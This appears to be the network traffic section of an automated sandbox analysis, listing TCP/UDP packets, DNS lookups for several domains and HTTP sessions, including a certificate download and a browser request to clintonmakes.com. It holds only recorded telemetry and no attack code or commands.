Jan 16, 2025 17:20:03.085342884 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.085876942 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.085931063 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.086061954 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.131335974 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.300354004 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.300780058 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.300813913 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.301903009 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.301985025 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.303488016 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.303601980 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.303766012 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.303775072 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.354049921 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.625972986 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.626065016 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.626137972 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.626806021 CET	61494	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.626837969 CET	443	61494	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.632711887 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.632762909 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.632828951 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.633053064 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:03.633064032 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:03.764148951 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.764256954 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.764406919 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.765156031 CET	61492	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.765172958 CET	443	61492	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.768553019 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.768594027 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:03.768682957 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.768985987 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:03.768995047 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.268769979 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.269251108 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:04.269275904 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.269654036 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.270015001 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:04.270085096 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.270226955 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:04.311331034 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.322176933 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:04.369609118 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.369884968 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.369901896 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.370951891 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.371026993 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.371386051 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.371505976 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.371582031 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.371588945 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.415599108 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.646172047 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.646306038 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.646394014 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:04.648034096 CET	61505	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:20:04.648066044 CET	443	61505	104.21.94.195	192.168.2.5
Jan 16, 2025 17:20:04.651428938 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.651753902 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:04.651819944 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.652628899 CET	61503	443	192.168.2.5	18.245.31.129
Jan 16, 2025 17:20:04.652642965 CET	443	61503	18.245.31.129	192.168.2.5
Jan 16, 2025 17:20:07.973032951 CET	80	61448	66.63.187.216	192.168.2.5
Jan 16, 2025 17:20:07.973053932 CET	80	61448	66.63.187.216	192.168.2.5
Jan 16, 2025 17:20:07.973141909 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:08.628212929 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:20:08.628273010 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:09.280371904 CET	61447	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:09.285252094 CET	80	61447	66.63.187.216	192.168.2.5
Jan 16, 2025 17:20:09.808944941 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:09.809000969 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:09.810476065 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:09.999408960 CET	61465	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:09.999440908 CET	443	61465	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:19.559132099 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:20:19.559226990 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:20:19.559303045 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:20:19.999455929 CET	61459	443	192.168.2.5	186.64.116.70
Jan 16, 2025 17:20:19.999489069 CET	443	61459	186.64.116.70	192.168.2.5
Jan 16, 2025 17:20:28.270695925 CET	62259	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:28.275505066 CET	53	62259	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:28.275602102 CET	62259	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:28.275636911 CET	62259	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:28.280483961 CET	53	62259	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:28.719399929 CET	53	62259	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:28.720082045 CET	62259	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:28.725980997 CET	53	62259	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:28.726051092 CET	62259	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:30.225039959 CET	58762	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:30.229865074 CET	53	58762	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:30.230092049 CET	58762	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:30.230092049 CET	58762	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:30.236143112 CET	53	58762	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:31.006145954 CET	53	58762	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:31.006649017 CET	58762	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:31.011887074 CET	53	58762	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:31.012023926 CET	58762	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:52.982129097 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:52.987112999 CET	80	61448	66.63.187.216	192.168.2.5
Jan 16, 2025 17:20:57.999000072 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:57.999042988 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:58.003864050 CET	80	61448	66.63.187.216	192.168.2.5
Jan 16, 2025 17:20:58.003938913 CET	61448	80	192.168.2.5	66.63.187.216
Jan 16, 2025 17:20:58.098526955 CET	55665	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:58.103383064 CET	53	55665	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:58.103471041 CET	55665	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:58.108344078 CET	53	55665	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:58.571029902 CET	55665	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:58.576178074 CET	53	55665	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:58.576255083 CET	55665	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:59.316339016 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:59.316386938 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:59.316514015 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:59.316796064 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:59.316806078 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:59.961083889 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:59.961893082 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:59.961914062 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:59.962280989 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:20:59.962666988 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:20:59.962728024 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:21:00.013139963 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:21:09.867589951 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:21:09.867675066 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:21:09.867870092 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:21:10.000353098 CET	55667	443	192.168.2.5	216.58.212.164
Jan 16, 2025 17:21:10.000396967 CET	443	55667	216.58.212.164	192.168.2.5
Jan 16, 2025 17:21:13.968976974 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:13.969022036 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:13.969109058 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:13.969338894 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:13.969351053 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.471797943 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.472104073 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.472120047 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.472479105 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.473225117 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.473282099 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.473454952 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.515321970 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.958982944 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.959089994 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.959180117 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.960932016 CET	55669	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.960952044 CET	443	55669	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.967236996 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.967298985 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:14.967379093 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.967638969 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:14.967657089 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.442507982 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.442806959 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:15.442847013 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.443205118 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.443573952 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:15.443670034 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.443772078 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:15.487339020 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.806137085 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.806248903 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.806308985 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:15.810508966 CET	55670	443	192.168.2.5	104.21.94.195
Jan 16, 2025 17:21:15.810555935 CET	443	55670	104.21.94.195	192.168.2.5
Jan 16, 2025 17:21:15.817866087 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:15.817913055 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:15.817981958 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:15.818228006 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:15.818239927 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.280174017 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.280551910 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.280586958 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.281620026 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.281785965 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.282711029 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.282783985 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.282883883 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.323376894 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.327627897 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.327640057 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.374319077 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.405090094 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.405174971 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.405561924 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.405597925 CET	443	55671	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.405610085 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.405649900 CET	55671	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.406114101 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.406158924 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.406232119 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.406455994 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.406471014 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.861469984 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.861747026 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.861764908 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.862114906 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.862395048 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.862458944 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.862515926 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.903378963 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.988694906 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.988775015 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.989033937 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.989052057 CET	443	55672	35.190.80.1	192.168.2.5
Jan 16, 2025 17:21:16.989068031 CET	55672	443	192.168.2.5	35.190.80.1
Jan 16, 2025 17:21:16.989120960 CET	55672	443	192.168.2.5	35.190.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 17:19:46.524384022 CET	61869	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:19:49.717590094 CET	53	62540	162.159.36.2	192.168.2.5
Jan 16, 2025 17:19:50.190320969 CET	64093	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:19:50.197423935 CET	53	64093	1.1.1.1	192.168.2.5
Jan 16, 2025 17:19:55.342595100 CET	62017	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:19:55.359750986 CET	53	62017	1.1.1.1	192.168.2.5
Jan 16, 2025 17:19:58.298247099 CET	56327	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:19:58.606905937 CET	53	56327	1.1.1.1	192.168.2.5
Jan 16, 2025 17:19:59.246424913 CET	65218	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:19:59.253405094 CET	53	65218	1.1.1.1	192.168.2.5
Jan 16, 2025 17:19:59.723119020 CET	59806	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:19:59.748259068 CET	53	59806	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:02.564882040 CET	52274	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:20:02.576097012 CET	53	52274	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:28.270253897 CET	53	64638	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:30.224010944 CET	53	51164	1.1.1.1	192.168.2.5
Jan 16, 2025 17:20:58.098023891 CET	53	55262	1.1.1.1	192.168.2.5
Jan 16, 2025 17:21:15.809983015 CET	50441	53	192.168.2.5	1.1.1.1
Jan 16, 2025 17:21:15.817101002 CET	53	50441	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2025 17:19:46.524384022 CET	192.168.2.5	1.1.1.1	0xa8e4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:50.190320969 CET	192.168.2.5	1.1.1.1	0xd159	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 16, 2025 17:19:55.342595100 CET	192.168.2.5	1.1.1.1	0xce0	Standard query (0)	clintonmakes.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:58.298247099 CET	192.168.2.5	1.1.1.1	0x83a8	Standard query (0)	minedudiser.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:59.246424913 CET	192.168.2.5	1.1.1.1	0x9e84	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:59.723119020 CET	192.168.2.5	1.1.1.1	0x26d3	Standard query (0)	fixecondfirbook.info	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:02.564882040 CET	192.168.2.5	1.1.1.1	0x9ba8	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:21:15.809983015 CET	192.168.2.5	1.1.1.1	0xc5da	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 17:19:46.532126904 CET	1.1.1.1	192.168.2.5	0xa8e4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:19:46.532126904 CET	1.1.1.1	192.168.2.5	0xa8e4	No error (0)	crl.root-x1.letsencrypt.org.edgekey.net	e8652.dscx.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:19:46.532126904 CET	1.1.1.1	192.168.2.5	0xa8e4	No error (0)	e8652.dscx.akamaiedge.net		23.209.209.135	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:50.197423935 CET	1.1.1.1	192.168.2.5	0xd159	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 16, 2025 17:19:55.359750986 CET	1.1.1.1	192.168.2.5	0xce0	No error (0)	clintonmakes.com		66.63.187.216	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:58.606905937 CET	1.1.1.1	192.168.2.5	0x83a8	No error (0)	minedudiser.com		186.64.116.70	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:59.253405094 CET	1.1.1.1	192.168.2.5	0x9e84	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:59.748259068 CET	1.1.1.1	192.168.2.5	0x26d3	No error (0)	fixecondfirbook.info		104.21.94.195	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:19:59.748259068 CET	1.1.1.1	192.168.2.5	0x26d3	No error (0)	fixecondfirbook.info		172.67.168.162	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:02.576097012 CET	1.1.1.1	192.168.2.5	0x9ba8	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:21:15.817101002 CET	1.1.1.1	192.168.2.5	0xc5da	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clintonmakes.com

minedudiser.com

fixecondfirbook.info

https:

q-xx.bstatic.com

a.nel.cloudflare.com

x1.i.lencr.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49797	23.209.209.135	80	3064	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:19:46.540605068 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Jan 16, 2025 17:19:47.199028015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=50388 Expires: Fri, 17 Jan 2025 06:19:35 GMT Date: Thu, 16 Jan 2025 16:19:47 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUX
Jan 16, 2025 17:19:47.199049950 CET	509	IN	Data Raw: a9 bc b2 a8 50 d0 0c b1 d8 1a 69 20 27 29 08 ac 61 75 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 Data Ascii: Pi ')au\ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	61447	66.63.187.216	80	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:19:57.342762947 CET	468	OUT	GET /215c/ HTTP/1.1 Host: clintonmakes.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: f5510ad44=0ad448213ea0
